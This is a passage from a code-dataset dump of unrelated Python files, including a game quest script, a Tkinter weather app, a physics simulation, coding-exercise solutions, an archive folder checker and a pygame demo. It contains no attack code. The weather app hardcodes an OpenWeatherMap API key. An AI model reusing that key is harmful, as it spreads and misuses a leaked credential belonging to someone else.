result\n","repo_name":"sparrowml/sparrow-datums","sub_path":"sparrow_datums/boxes/frame_boxes.py","file_name":"frame_boxes.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"30721698080","text":"# id 34802 (Collect Grossular), field 402000526\nsm.lockInGameUI(True, False)\nsm.removeAdditionalEffect()\nsm.showFadeTransition(0, 1000, 3000)\nsm.zoomCamera(500, 1000, 500, 50, -70)\nsm.sendDelay(500)\nsm.sendDelay(500)\nsm.forcedFlip(True)\nsm.spawnNpc(3001300, 602, -140)\nsm.showNpcSpecialActionByTemplateId(3001300, \"summon\", 0)\nsm.removeOverlapScreen(1000)\nsm.sendDelay(500)\nsm.sendDelay(3000)\nsm.createFieldTextEffect(\"#fnᄈᆰᄡᆴᄚ■ᄉ￱ ExtraBold##fs18#First Class: Understanding the Mytocrystal\", 20, 2200, 6, -50, -50, 1, 4, 0, 0, 0)\nsm.setSpeakerType(3)\nsm.setParam(37)\nsm.setColor(1)\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendNext(\"#face0#Let's begin, class.\")\nsm.sendSay(\"#face0#The #bmytocrystals#k of Grandis have been an important resource for our people since the ancient times.\")\nsm.sendSay(\"#face0#The Flora became rulers of Grandis due to our superior ability to extract and use mana from the mytocrystals.\")\nsm.sendSay(\"#face0#You'll learn more in history class. For now, we'll learn about the various types of mytocrystals that give us power.\")\nsm.setMapTaggedObjectVisible(\"c1_appear\", True, 0, 0)\nsm.playSound(\"Sound/SoundEff.img/illium/classroom_crystal\", 100)\nsm.sendDelay(500)\nsm.sendDelay(500)\nsm.setMapTaggedObjectVisible(\"c1_loop\", True, 0, 0)\nsm.setMapTaggedObjectVisible(\"c1_appear\", False, 0, 0)\nsm.sendDelay(100)\nsm.sendDelay(500)\nsm.sendNext(\"#face0#Can anyone tell me the name of this beautiful green mytocrystal?\")\nsm.setInnerOverrideSpeakerTemplateID(3001350) # Illium\nsm.sendSay(\"#face0##fs12#Grossular.\")\nsm.setInnerOverrideSpeakerTemplateID(3001300) # Ex\nsm.sendSay(\"#face0#Speak up, Sir.\")\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendSay(\"#face0#Dean?\")\nsm.setInnerOverrideSpeakerTemplateID(3001307) # Dean\nsm.sendSay(\"#face3#It's #bgrossular#k!\")\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendSay(\"#face0#What else do you know about it?\")\nsm.setInnerOverrideSpeakerTemplateID(3001307) # Dean\nsm.sendSay(\"#face3#Uh... umm...\")\nsm.sendSay(\"#face1#Well...\")\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendSay(\"#face0#Anyone else?\")\nsm.sendSay(\"#face0##bGrossular#k is found deep within forested areas. It's used to treat wounds and recover health.\")\nsm.setMapTaggedObjectVisible(\"c2_appear\", True, 0, 0)\nsm.playSound(\"Sound/SoundEff.img/illium/classroom_crystal\", 100)\nsm.sendDelay(500)\nsm.sendDelay(500)\nsm.setMapTaggedObjectVisible(\"c2_loop\", True, 0, 0)\nsm.setMapTaggedObjectVisible(\"c2_appear\", False, 0, 0)\nsm.sendDelay(100)\nsm.sendDelay(500)\nsm.sendNext(\"#face0#What about this beautiful, deep red mytocrystal? Anyone?\")\nsm.setInnerOverrideSpeakerTemplateID(3001350) # Illium\nsm.sendSay(\"#face0##fs12#Pyrope.\")\nsm.setInnerOverrideSpeakerTemplateID(3001300) # Ex\nsm.sendSay(\"#face2#Louder, Sir.\")\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendSay(\"#face0#Carnelian?\")\nsm.setInnerOverrideSpeakerTemplateID(3001308) # Carnelian\nsm.sendSay(\"#face0##bPyrope#k boasts explosive power, but it's more difficult to extract mana from it.\")\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendSay(\"#face0#Very good. Next...\")\nsm.setMapTaggedObjectVisible(\"c3_appear\", True, 0, 0)\nsm.playSound(\"Sound/SoundEff.img/illium/classroom_crystal\", 100)\nsm.sendDelay(500)\nsm.sendDelay(500)\nsm.setMapTaggedObjectVisible(\"c3_loop\", True, 0, 0)\nsm.setMapTaggedObjectVisible(\"c3_appear\", False, 0, 0)\nsm.sendDelay(100)\nsm.sendDelay(500)\nsm.sendNext(\"#face0#What about this one?\")\nsm.setInnerOverrideSpeakerTemplateID(3001300) # Ex\nsm.sendSay(\"#face0##fs24##bObsidian!#k\")\nsm.setInnerOverrideSpeakerTemplateID(3001307) # Dean\nsm.sendSay(\"#face2#Whoa!\")\nsm.setInnerOverrideSpeakerTemplateID(3001300) # Ex\nsm.sendSay(\"#face0#The dark mytocrystal, obsidian, is difficult to find and holds dark magical energy. If you find one, you should take extra care with this dangerous crystal.\")\nsm.setInnerOverrideSpeakerTemplateID(3001350) # Illium\nsm.sendSay(\"#face3#Uh, Ex?\")\nsm.setInnerOverrideSpeakerTemplateID(3001302) # Professor Kalsat\nsm.sendSay(\"#face0#Correct! What a fascinating robot.\")\nsm.setSpeakerType(4)\nsm.setSpeakerID(3001332) # Professor Kalsat\nres = sm.sendAskAccept(\"#face0#Who's ready for some practical application? Spend the remainder of the class gathering #b10 #i4036163# #t4036163# items#k! What do you say?\")\nsm.startQuest(parentID)\nsm.setSpeakerType(3)\nsm.sendNext(\"#face0#You'll find #b#i4036163# #t4036163##k items with #r#o2400400##k monsters. Is everyone ready? I'll teleport all of you at once. Let's see who returns first!\")\nsm.setInnerOverrideSpeakerTemplateID(3001300) # Ex\nsm.sendSay(\"#face0#I recommend #busing the Maple Guide#k when you return.\")\nsm.showFadeTransition(0, 1000, 3000)\nsm.zoomCamera(0, 1000, 2147483647, 2147483647, 2147483647)\nsm.moveCamera(True, 0, 0, 0)\nsm.sendDelay(300)\nsm.removeOverlapScreen(1000)\nsm.lockInGameUI(False, True)\nsm.warp(402000512)\n","repo_name":"rage123450/TMS246-Server","sub_path":"scripts/quest/q34802s.py","file_name":"q34802s.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"62"} +{"seq_id":"12169456626","text":"import tkinter as tk\nimport requests\n\nHEIGHT = 500\nWIDTH = 600\n\n\ndef test_function(entry):\n print(\"This is the entry:\", entry)\n\n\n# api.openweathermap.org/data/2.5/weather?q={city name}&appid={API key}\n# 96a42f88ddba94ac2aa6607363317821\ndef format_response(weather):\n try:\n name = weather['name']\n country = weather['sys']['country']\n desc = weather['weather'][0]['description']\n temp = weather['main']['temp']\n\n final_str = 'City: %s \\nCountry: %s \\nConditions: %s \\nTemperature (°C): %s' % (name, country, desc, temp)\n except:\n final_str = 'There was a problem retrieving that information'\n\n return final_str\n\n\ndef get_weather(city):\n weather_key = '96a42f88ddba94ac2aa6607363317821'\n url = 'https://api.openweathermap.org/data/2.5/weather'\n params = {'APPID': weather_key, 'q': city, 'units': 'metric'}\n response = requests.get(url, params=params)\n weather = response.json()\n print(weather)\n label['text'] = format_response(weather)\n\n\nroot = tk.Tk()\n\ncanvas = tk.Canvas(root, height=HEIGHT, width=WIDTH)\ncanvas.pack()\n\nroot.geometry(\"450x600\")\n\nroot.title(\"Weather APP\")\n\nbackground_image = tk.PhotoImage(file=\"C:/Users/USER/Documents/Spyder_Projects/TKinter_GUI/Capture.png\")\nbackground_label = tk.Label(root, image=background_image)\nbackground_label.place(relwidth=1, relheight=1)\n\nframe = tk.Frame(root, bg='#80c1ff', bd=5)\nframe.place(relx=0.5, rely=0.1, relwidth=0.75, relheight=0.1, anchor='n')\n\nentry = tk.Entry(frame, font=40)\nentry.place(relwidth=0.65, relheight=1)\n\nbutton = tk.Button(frame, text=\"Get Weather\", font=40, command=lambda: get_weather(entry.get()))\nbutton.place(relx=0.7, relheight=1, relwidth=0.3)\n\nlower_frame = tk.Frame(root, bg='#80c1ff', bd=10)\nlower_frame.place(relx=0.5, rely=0.25, relwidth=0.75, relheight=0.6, anchor='n')\n\nlabel = tk.Label(lower_frame)\nlabel.place(relwidth=1, relheight=1)\n\nroot.mainloop()","repo_name":"marwenmejri/GUI_Tkinter","sub_path":"Weather_App.py","file_name":"Weather_App.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37522677130","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Sep 13 21:48:48 2020\r\n\r\n@author: Riley Lien\r\n\"\"\"\r\nfrom vpython import *\r\n\r\n\"\"\"\r\n 1. Setting for Parameters, Variables and Initial Values\r\n\"\"\"\r\nd1, m1, v1, c1 = 0.2, 0.5, 1.0, color.red # width of block 1 = 0.2 m, mass = 0.5 kg, initial velocity = 0.1 m/s, red\r\nd2, m2, v2, c2 = 0.2, 1.0, 0.0, color.green # width of block 1 = 0.2 m, mass = 0.1 kg, initial velocity = 0.0 m/s, green\r\nL0, k = 0.5, 20.0 # The original length of the spring = 0.5 m, elastic constant = 2.0 N/m\r\nxmax, xmin = 2.0, -2.0 # the range of the x axis\r\nt, dt = 0, 0.0005 # time, frame rate. the unit is second (s)\r\n\r\n\"\"\"\r\n 2. Setting for the Screen\r\n\"\"\"\r\n# Create the window of the animation\r\nscene = canvas(title=\"1 Dimension Collision\", width=800, height=300, center=vec(0, 0.4, 0),\r\n background=vec(0, 0.6, 0.6))\r\n\r\n# Create the floor\r\nfloor = box(pos=vec(0, -d1/2.0, 0), size=vec((xmax - xmin), 0.05, 0.8), color=color.blue)\r\n\r\n# Create the block b1 and b2; set the initial velocity\r\nb1 = box(pos=vec(-L0 - 1, 0, 0), size=vec(d1, d1, d1), color=c1, texture=textures.wood, m=m1, v=vec(v1, 0, 0))\r\nb2 = box(pos=vec(0, 0, 0), size=vec(d2, d2, d2), color=c2, texture=textures.wood, m=m2, v=vec(v2, 0, 0))\r\n\r\n# Create the spring, starting point is (-0.5*d2, 0, 0), direction is (-L0, 0, 0)\r\nspring = helix(pos=b2.pos + vec(-0.5*d2, 0, 0), axis=vec(-L0, 0, 0), radius=0.05, thickness=0.03)\r\n\r\n# Graphics plotting\r\ngd1 = graph(title=\"E-t plot\", x=0, y=300, width=600, height=450, xtitle=\"t (s)\", \r\n ytitle=\"red: K1, green: K2, orange: U, blue: E (J)\")\r\nkt1 = gcurve(graph=gd1, color=c1)\r\nkt2 = gcurve(graph=gd1, color=c2)\r\nut = gcurve(graph=gd1, color=color.orange)\r\net = gcurve(graph=gd1, color=color.blue)\r\ngd2 = graph(title=\"v-t and a-t plot\", x=0, y=750, width=600, height=450,\r\n xtitle=\"t (s)\", ytitle=\"red: v1, green: v2 (m/s); orange: a1, blue: a2 (m/s2)\")\r\nvt1 = gcurve(graph=gd2, color=c1)\r\nvt2 = gcurve(graph=gd2, color=c2)\r\nat1 = gcurve(graph=gd2, color=color.orange)\r\nat2 = gcurve(graph=gd2, color=color.blue)\r\n\r\n\"\"\"\r\n 3. For the motion of objects, use while loop and stop until one of the block reach the edge of the floor.\r\n Calculate the restoring force of the spring by Hooke's law: F = -k * Δx\r\n In order to make the force vector, it needs to be multiplied by the unit vector of spring.axis\r\n mag(a) = a.mag -> calculate the magnitude of a\r\n a / mag(a) = a.norm() -> return the unit vector of a\r\n\"\"\"\r\n# print out the velocity before the blocks make collision\r\nprint(\"m1\b=\", b1.m, \"m2 =\", b2.m)\r\nprint(b1.v.x, b2.v.x)\r\n\r\nwhile ((b2.pos.x <= xmax - d2/2) and (b1.pos.x >= xmin + d1/2)):\r\n rate(1000)\r\n\r\n# Calculate the distance between two blocks and refresh the starting point of the spring\r\n dx = b2.pos.x - b1.pos.x - 0.5*d1 - 0.5*d2\r\n spring.pos = b2.pos + vec(-0.5*d2, 0, 0)\r\n\r\n# If the distance between blocks is greater than the original length of the spring,\r\n# the spring is not compressed. The restoring force = 0; the acceleration = 0.\r\n# If the distance between blocks is less than the original length of the spring,\r\n# the spring is compressed. Calculate the restoring force and the acceleration of blocks\r\n if(dx >= L0):\r\n spring.axis = vec(-L0, 0, 0)\r\n dL = 0\r\n b1.a = vec(0, 0, 0)\r\n b2.a = vec(0, 0, 0)\r\n else:\r\n spring.axis = vec(-dx, 0, 0)\r\n dL = L0 - dx\r\n force = vec(-k*dL, 0, 0)\r\n b1.a = force/b1.m\r\n b2.a = -force/b2.m\r\n\r\n# Update the velocity and position of b1 and b2\r\n b1.v += b1.a * dt\r\n b2.v += b2.a * dt\r\n b1.pos += b1.v * dt\r\n b2.pos += b2.v * dt\r\n\r\n# Calculate the kinetic energy of blocks, elastic potential and mechanical energy of the system; plotting the graphics\r\n k1 = 0.5 * m1 * b1.v.mag2\r\n k2 = 0.5 * m2 * b2.v.mag2\r\n u = 0.5 * k * dL**2\r\n e = k1 + k2 + u\r\n kt1.plot(pos=(t, k1))\r\n kt2.plot(pos=(t, k2))\r\n ut.plot(pos=(t, u))\r\n et.plot(pos=(t, e))\r\n\r\n# Plot v-t and a-t graphics\r\n vt1.plot(pos=(t, b1.v.x))\r\n vt2.plot(pos=(t, b2.v.x))\r\n at1.plot(pos=(t, b1.a.x))\r\n at2.plot(pos=(t, b2.a.x))\r\n\r\n# Update time parameter\r\n t += dt\r\n\r\n# Print out the velocity of the blocks after making collision\r\nprint(b1.v.x, b2.v.x)\r\n","repo_name":"gundamace17/Python-for-Physics","sub_path":"5. One Dimensional Collision/One_Dimensional_Collision.py","file_name":"One_Dimensional_Collision.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71957438919","text":"import sys\nsys.stdin = open('./dev/stdin', 'r')\ninput = sys.stdin.readline\n\nn, c = map(int, input().split())\narray = []\nfor _ in range(n):\n array.append(int(input()))\n\narray.sort()\n\n# 적절한 max_distance 찾기\nstart = 0\nend = 1000000000\n\ndef count_func(array, mid):\n count = 1\n init = array[0] + mid\n for house in array:\n if house >= init:\n count += 1\n init = house + mid\n return count \n \nresult = 0\n\nwhile start <= end:\n mid = (start + end) // 2\n \n # 공유기가 mid 만큼의 거리만큼 떨어져서 설치된다면 몇 개를 설치 할 수 있을까?\n count = count_func(array, mid)\n \n if count >= c:\n result = mid\n start = mid + 1\n else:\n end = mid - 1\n \nprint(result)","repo_name":"dev-logan/coding-test","sub_path":"이것이 코딩 테스트다/공유기 설치.py","file_name":"공유기 설치.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20435673297","text":"import os, os.path, logging, datetime, csv;\n\n#check these settings are correct for the current drive\ndrive='K:\\\\'; #if working from copy eg T:\\\\WORK\\\\WO_95_sample\\\\5th sample' need double slashes as it's escape character\nbatchCode='BN116';\n#these settings should only need to be changed once per project, when a new copy of this script should be created\nlettercode='BN';\nseries='116';\nitems=True;\nzeroFill=4;\npieceListFolder=os.path.join(os.getcwd(),'Piece lists');\n\n#Following are standing data or calculate values derived from above and should not be altered\nokFiles=0;\nbasePath=os.path.join(drive,lettercode+'_'+series);\nbasePathLength=len(basePath.split('\\\\'));\n\n#set up basic logging to record outputs, level should usually be at .INFO, unless performing DEBUG diagnostics\ndef setup_logger(logger_name,log_file,logmode='w',level=logging.INFO) :\n\tl=logging.getLogger(logger_name);\n\tformatter=logging.Formatter('%(levelname)s\\t: %(asctime)s : %(message)s');\n\tfileHandler=logging.FileHandler(log_file,logmode);\n\tfileHandler.setFormatter(formatter);\n\tl.setLevel(level);\n\tl.addHandler(fileHandler);\n\ntoday=datetime.date.today().isoformat();\nsetup_logger('generalLog',os.path.join(os.getcwd(),'Logs',batchCode+'_folder_structure_check_'+today+'.log'),'a');\ngenlog=logging.getLogger('generalLog');\n\ngenlog.info('Starting Structure Checker for '+batchCode);\ntry :\n\tpieceListFile=open(os.path.join(pieceListFolder,batchCode+'_piece_list.csv'), \"r\", newline='');\nexcept OSError :\n\tgenlog.exception(os.path.join(pieceListFolder,batchCode+'_piece_list.csv')+' cannot be opened, structure checking unsuccesful, exiting...');\n\texit();\n\ndataIn=csv.DictReader(pieceListFile);\nheader=dataIn.fieldnames;\nmissingPieceList=[];\nunexpectedPieceList=[];\nheader=dataIn.fieldnames;\nif 'piece' != str.lower(header[0]) :\n\tgenlog.error(batchCode+'_piece_list.csv does not contain piece column, structure checking unsuccesful, exiting...');\n\texit();\npieceList=[]\nfor row in dataIn :\n\t\tpieceList.append(row[header[0]]);\npieceSet=set(pieceList);\npieceList=list(pieceSet); #this deduplicates the original list\npieceList.sort();\n\t\nfor dirPath, subdirList, fileList in os.walk(basePath) :\n#for each directory starting at the given point, list the full path of the current directory, then list its subdirectories and files\n\tpathLength=len(dirPath.split('\\\\'));\n\t#this allows us to check how far down the structure we are\n\tgenlog.debug('basePathLength='+str(basePathLength));\n\tgenlog.debug('pathLength='+str(pathLength));\n\tgenlog.debug('dirPath='+dirPath);\n\tgenlog.debug('pieceList='+str(pieceList));\n\tgenlog.debug('missingPieceList='+str(missingPieceList));\n\tgenlog.debug('unexpectedPieceList='+str(unexpectedPieceList));\n\tgenlog.debug('subdirList='+str(subdirList));\n\tgenlog.debug('fileList='+str(fileList));\n\tif pathLength==basePathLength :\n\t\tif len(subdirList)==1 and subdirList[0]=='content' :\n\t\t\tpass;\n\t\telse :\n\t\t\tgenlog.error('Content folder is missing');\n\telif pathLength==basePathLength+1 :\n\t#We're looking at the contents of the content folder\n\t\tsubdirList.sort()\n\t\tif pieceList==subdirList :\n\t\t\tgenlog.info('all pieces from Piece List are present: '+str(pieceList));\n\t\telse :\n\t\t\tfor piece in pieceList :\n\t\t\t\tgenlog.debug('piece '+str(piece));\n\t\t\t\tif piece in subdirList :\n\t\t\t\t\tpass;\n\t\t\t\telse :\n\t\t\t\t\tmissingPieceList.append(piece);\n\t\t\t\t\tgenlog.debug('missingPieceList '+str(missingPieceList));\n\t\t\tfor piece in subdirList :\n\t\t\t\tgenlog.debug('piece '+str(piece));\n\t\t\t\tif piece in pieceList :\n\t\t\t\t\tpass;\n\t\t\t\telse :\n\t\t\t\t\tunexpectedPieceList.append(piece);\n\t\t\t\t\tgenlog.debug('unexpectedPieceList '+str(unexpectedPieceList));\n\t\t\tif unexpectedPieceList :\n\t\t\t\tgenlog.error('Extra piece(s) '+str(unexpectedPieceList)+' not in piece list are on disk');\n\t\t\tif missingPieceList :\n\t\t\t\tgenlog.error('Piece(s) '+str(missingPieceList)+' in piece list are missing from disk');\n\telif pathLength==basePathLength+2 :\n\t#We're looking at the contents of a piece level folder\n\t\tif items :\n\t\t#should we have items for this project? If so, wouldn't generally expect files in this folder\n\t\t#some projects may have mixed content, so may need re-work\n\t\t\tif len(fileList)>0 :\n\t\t\t\tgenlog.error('item folders expected but files found at piece level');\n\t\t\telse :\n\t\t\t#Rebuild the subdirectory list as integers, not strings. \n\t\t\t#Produce error message if there are no item folders. Items should always start at 1 for each piece\n\t\t\t#(again, sometimes item numbering runs throughout a piece eg if service number used as item ref,\n\t\t\t#so this may need rework\n\t\t\t\tintSubdirList=[];\n\t\t\t\tcurrItem=1;\n\t\t\t\tif len(subdirList)==0 :\n\t\t\t\t\tgenlog.error('no item level folders found for piece '+dirPath);\n\t\t\t\tfor subdir in subdirList :\n\t\t\t\t\tintSubdirList.append(int(subdir));\n\t\t\t\t\tintSubdirList.sort();\n\t\t\t\tfor intSubdir in intSubdirList :\n\t\t\t\t\tif intSubdir==currItem :\n\t\t\t\t\t\tcurrItem=currItem+1;\n\t\t\t\t\telse :\n\t\t\t\t\t\tgenlog.error('missing item folder: '+str(currItem));\n\t\t\t\t\t\tcurrItem=intSubdir+1;\n\t\telse :\n\t\t#if we don't have items, the individual image files should be within the piece folder. At image level, we\n\t\t#apply zero padding to the running number in the file name, so sorting as strings should be fine\n\t\t\tfileList.sort();\n\t\t\tfileNumber=1;\n\t\t\tif len(fileList) > 0 :\n\t\t\t\tfor file in fileList :\n\t\t\t\t#break the file name into its component parts, first split of the extension, following a full stop and check it's jp2\n\t\t\t\t#Then break at the underscore, first part should be piece number which is checked against the containing folder name\n\t\t\t\t#second part should be a running number starting at 1 (zero-padded to usually 3 or 4 digits)\n\t\t\t\t\tfileParts=file.split('.');\n\t\t\t\t\tif fileParts[-1]!='jp2' :\n\t\t\t\t\t\tgenlog.error('non-jp2 file found: '+os.path.join(dirPath,file));\n\t\t\t\t\telif len(fileParts)>2 :\n\t\t\t\t\t\tgenlog.error('more than one full stop in filename: '+os.path.join(dirPath,file));\n\t\t\t\t\telse :\n\t\t\t\t\t\tfilenameStruct=fileParts[0].split('_');\n\t\t\t\t\t\tgenlog.debug('filenameStruct='+str(filenameStruct));\n\t\t\t\t\t\tif len(filenameStruct)!=2 :\n\t\t\t\t\t\t\tgenlog.error(os.path.join(dirPath,file)+' wrong number of underscores ('+str(len(filenameStruct))+') in image name, expected 1');\n\t\t\t\t\t\telif filenameStruct[0]==dirPath.split('\\\\')[-1] and str(fileNumber).zfill(zeroFill)==filenameStruct[-1] :\n\t\t\t\t\t\t\tfileNumber=fileNumber+1;\n\t\t\t\t\t\t\tokFiles=okFiles+1;\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tgenlog.error('missing or inconsistently named image at or before: '+os.path.join(dirPath,file));\n\t\t\t\t\t\t\tfileNumber=int(filenameStruct[-1])+1;\n\t\t\telse :\n\t\t\t\t\t\t\tgenlog.error('no files found at piece level '+dirPath);\n\telif pathLength==basePathLength+3 :\n\t#We're looking at an item level folder. First check we do actually have files in the folder\n\t#Then for each file break down the filename as above for pieces, only here we have both piece and item incorporated in name\n\t\tif len(fileList)>0 :\n\t\t\tfileList.sort();\n\t\t\tfileNumber=1;\n\t\t\tfor file in fileList :\n\t\t\t\tfileParts=file.split('.');\n\t\t\t\tif fileParts[-1]!='jp2' :\n\t\t\t\t\tgenlog.error('non-jp2 file found: '+file);\n\t\t\t\telif len(fileParts)>2 :\n\t\t\t\t\tgenlog.error('more than one full stop in filename: '+os.path.join(dirPath,file));\n\t\t\t\telse :\n\t\t\t\t\tfilenameStruct=fileParts[0].split('_');\n\t\t\t\t\tgenlog.debug('filenameStruct='+str(filenameStruct));\n\t\t\t\t\tif len(filenameStruct)!=3 :\n\t\t\t\t\t\tgenlog.error(os.path.join(dirPath,file)+' wrong number of underscores ('+str(len(filenameStruct))+') in image name, expected 2');\n\t\t\t\t\telif filenameStruct[0]==dirPath.split('\\\\')[-2] and filenameStruct[1]==dirPath.split('\\\\')[-1] and str(fileNumber).zfill(zeroFill)==filenameStruct[-1] :\n\t\t\t\t\t\tfileNumber=fileNumber+1;\n\t\t\t\t\t\tokFiles=okFiles+1;\n\t\t\t\t\telse :\n\t\t\t\t\t\tgenlog.error('missing or inconsistently named image at or before: '+os.path.join(dirPath,file));\n\t\t\t\t\t\tfileNumber=int(filenameStruct[-1])+1;\n\t\telse :\n\t\t\tgenlog.error('no files found at item level '+dirPath);\ngenlog.info('Structure checking completed successfully: '+str(okFiles)+' files are correctly named');\n#This count is correct if all files are present as expected, if errors are found the number of files indicated, plus number of errors, probably won't equal the total number of files \n#it is included only to give a visual confirmation that the script has actually run correctly. If no output is found, some of fatal error has occurred.\n","repo_name":"DavidUnderdown/csvgen","sub_path":"BN_116_structureChecker_3.py","file_name":"BN_116_structureChecker_3.py","file_ext":"py","file_size_in_byte":8247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5312619816","text":"# 1759 암호만들기\nimport copy\ndef backtrack(k, start, vcnt, ccnt, tmp): # k:선택된 암호 개수, start:선택시작위치, vcnt:모개수, ccnt:자개수\n pwd = copy.deepcopy(tmp)\n \n if k == L:\n if vcnt >= 1 and ccnt >= 2:\n print(''.join(pwd))\n return\n\n for i in range(start, C): \n pwd.append(alpha[i])\n if alpha[i] in vowel: # 모음이면,\n backtrack(k + 1, i + 1, vcnt + 1, ccnt, pwd)\n else:\n backtrack(k + 1, i + 1, vcnt, ccnt + 1, pwd)\n pwd.pop()\n\nL, C = map(int, input().split()) # L:암호길이, C:알파벳개수\nalpha = sorted(list(input().split()))\nvowel = list('aeiou')\nbacktrack(0, 0, 0, 0, []) ","repo_name":"banggeut01/algorithm","sub_path":"code/A/1759.py","file_name":"1759.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36930035068","text":"\"\"\"\n@author: Stephen Gadd, Docuracy Ltd, UK\n\nThis code takes a list of linestrings linestrings, a rasterio transformation, \nand a shapefile filename filename as input. It iterates through the linestrings, \nconverts them to Shapely LineString objects, transforms the coordinates using the \nrasterio.transform.xy function, converts the transformed coordinates back \nto Shapely LineString objects, and stores them in a list.\n\nIt then sets the output shapefile schema and opens the shapefile for writing. \nIt iterates through the transformed linestrings, creates a record for each one, \nand writes the record to the shapefile.\n\n\"\"\"\nimport shapely.geometry\nimport rasterio\nimport fiona\n\ndef save_shapefile(linestrings, transformation, metadata, filename, attributes = False, modern_linklines = False):\n if not modern_linklines == False:\n # Set the output shapefile schema\n schema = {\n 'geometry': 'LineString',\n 'properties': {\n }\n }\n # Open the output shapefile for writing\n with fiona.open(filename.replace('.shp','_links.shp'), 'w', crs='EPSG:4326', driver='ESRI Shapefile', schema=schema) as dst:\n # Iterate through the linestrings_transformed and write them to the shapefile\n for linestring in modern_linklines:\n # Create a record for the linestring\n record = {\n 'geometry': shapely.geometry.mapping(linestring),\n 'properties': {}\n }\n # Write the record to the shapefile\n dst.write(record)\n \n # Initialize an empty list to store the transformed linestrings\n linestrings_transformed = []\n # Iterate through the linestrings\n for linestring in linestrings:\n # Convert the linestring to a Shapely LineString object\n linestring = shapely.geometry.LineString(linestring)\n # Initialize an empty list to store the transformed coordinates\n transformed_coords = []\n # Iterate through the coordinates of the linestring\n for coord in linestring.coords:\n # Use rasterio.transform to transform the coordinate\n longitude, latitude = rasterio.transform.xy(transformation, coord[1], coord[0])\n # Add the transformed coordinate to the list\n transformed_coords.append((longitude, latitude))\n # Convert the transformed coordinates to a Shapely LineString object and add it to the list\n linestrings_transformed.append( shapely.geometry.LineString(transformed_coords) )\n\n # Set the output shapefile schema\n schema = {\n 'geometry': 'LineString',\n 'properties': {\n 'score': 'float',\n 'width': 'float',\n # 'modernity': 'float'\n 'modernity': 'str'\n }\n }\n\n # Open the output shapefile for writing\n with fiona.open(filename, 'w', crs=metadata['crs'].to_string(), driver='ESRI Shapefile', schema=schema) as dst:\n # Iterate through the linestrings_transformed and write them to the shapefile\n for linestring, attr in zip(linestrings_transformed, attributes):\n # Create a record for the linestring\n record = {\n 'geometry': shapely.geometry.mapping(linestring),\n 'properties': attr\n }\n # Write the record to the shapefile\n dst.write(record)\n \n return linestrings_transformed","repo_name":"docuracy/desCartes","sub_path":"obsolete_code/save_shapefile.py","file_name":"save_shapefile.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"62"} +{"seq_id":"33918077040","text":"import math\n\nclass Solution:\n def projectionArea(grid):\n hor = sum(map(max, grid))\n print(*grid)\n print(list(zip(*grid)))\n ver = sum(map(max, zip(*grid)))\n top = sum(v > 0 for row in grid for v in row)\n return ver + hor + top\n\n\nGrd = [[1,2],[3,4]]\n\nanswer = Solution.projectionArea(Grd)\n\nprint(answer)","repo_name":"vick2592/LeetCodePython","sub_path":"LeetCodeProblems/883ProjectionArea3d.py","file_name":"883ProjectionArea3d.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33503176812","text":"import pygame\nimport time\nimport math\n\nclass hero:\n\n def __init__(self, fn, px, py):\n self.img=pygame.image.load(fn)\n self.orig_sz = self.img.get_size()\n self.px = px\n self.py = py\n self.vx = 0\n self.vy = 0\n\n self.scale=0.5\n self.resize()\n\n def update( self, target_surface ):\n\n w,h = target_surface.get_size()\n\n if self.px > w/2 or self.px < -w/2:\n self.vx = -self.vx\n if self.py > w/2 or self.py < -w/2:\n self.vy = -self.vy\n\n def draw( self, target_surface ):\n target_surface.blit(self.img, (self.px - self.w//2 , \\\n self.py - self.h//2))\n\n def resize( self):\n\n self.w = int(self.orig_sz[0]*self.scale)\n self.h = int(self.orig_sz[1]*self.scale)\n self.img=pygame.transform.scale(self.img,(self.w, self.h))\n\n\ndef main():\n\n pygame.init() # Prepare the PyGame module for use\n main_surface = pygame.display.set_mode((1024,768))\n\n w,h = main_surface.get_size()\n\n # Load an image to draw. Substitute your own.\n # PyGame handles gif, jpg, png, etc. image types.\n #ball = pygame.image.load(\"ball.png\")\n sloth = hero(\"sloth.png\", w//2, h//2)\n sloth.update(main_surface)\n\n # Create a font for rendering text\n my_font = pygame.font.SysFont(\"Courier\", 16)\n\n frame_count = 0\n frame_rate = 0\n t0 = time.clock()\n\n while True:\n\n #start_t = time.clock()\n\n # Look for an event from keyboard, mouse, joystick, etc.\n ev = pygame.event.poll()\n\n if ev.type == pygame.QUIT: # Window close button clicked?\n break # Leave game loop\n\n #Use the code here for single-press stuff\n if ev.type == pygame.KEYDOWN:\n key = ev.dict[\"key\"]\n print(key)\n if key == 27: # On Escape key ...\n break # leave the game loop\n if key == 112: # pause / play\n pass\n if key == 114: # rewind\n pass\n if key == 115: # 's'\n pygame.image.save( main_surface, \"pygame.jpg\")\n\n if key == 269:\n sloth.scale-=0.5\n sloth.resize()\n if key==270:\n sloth.scale+=0.5\n sloth.resize()\n\n # use this for held down key 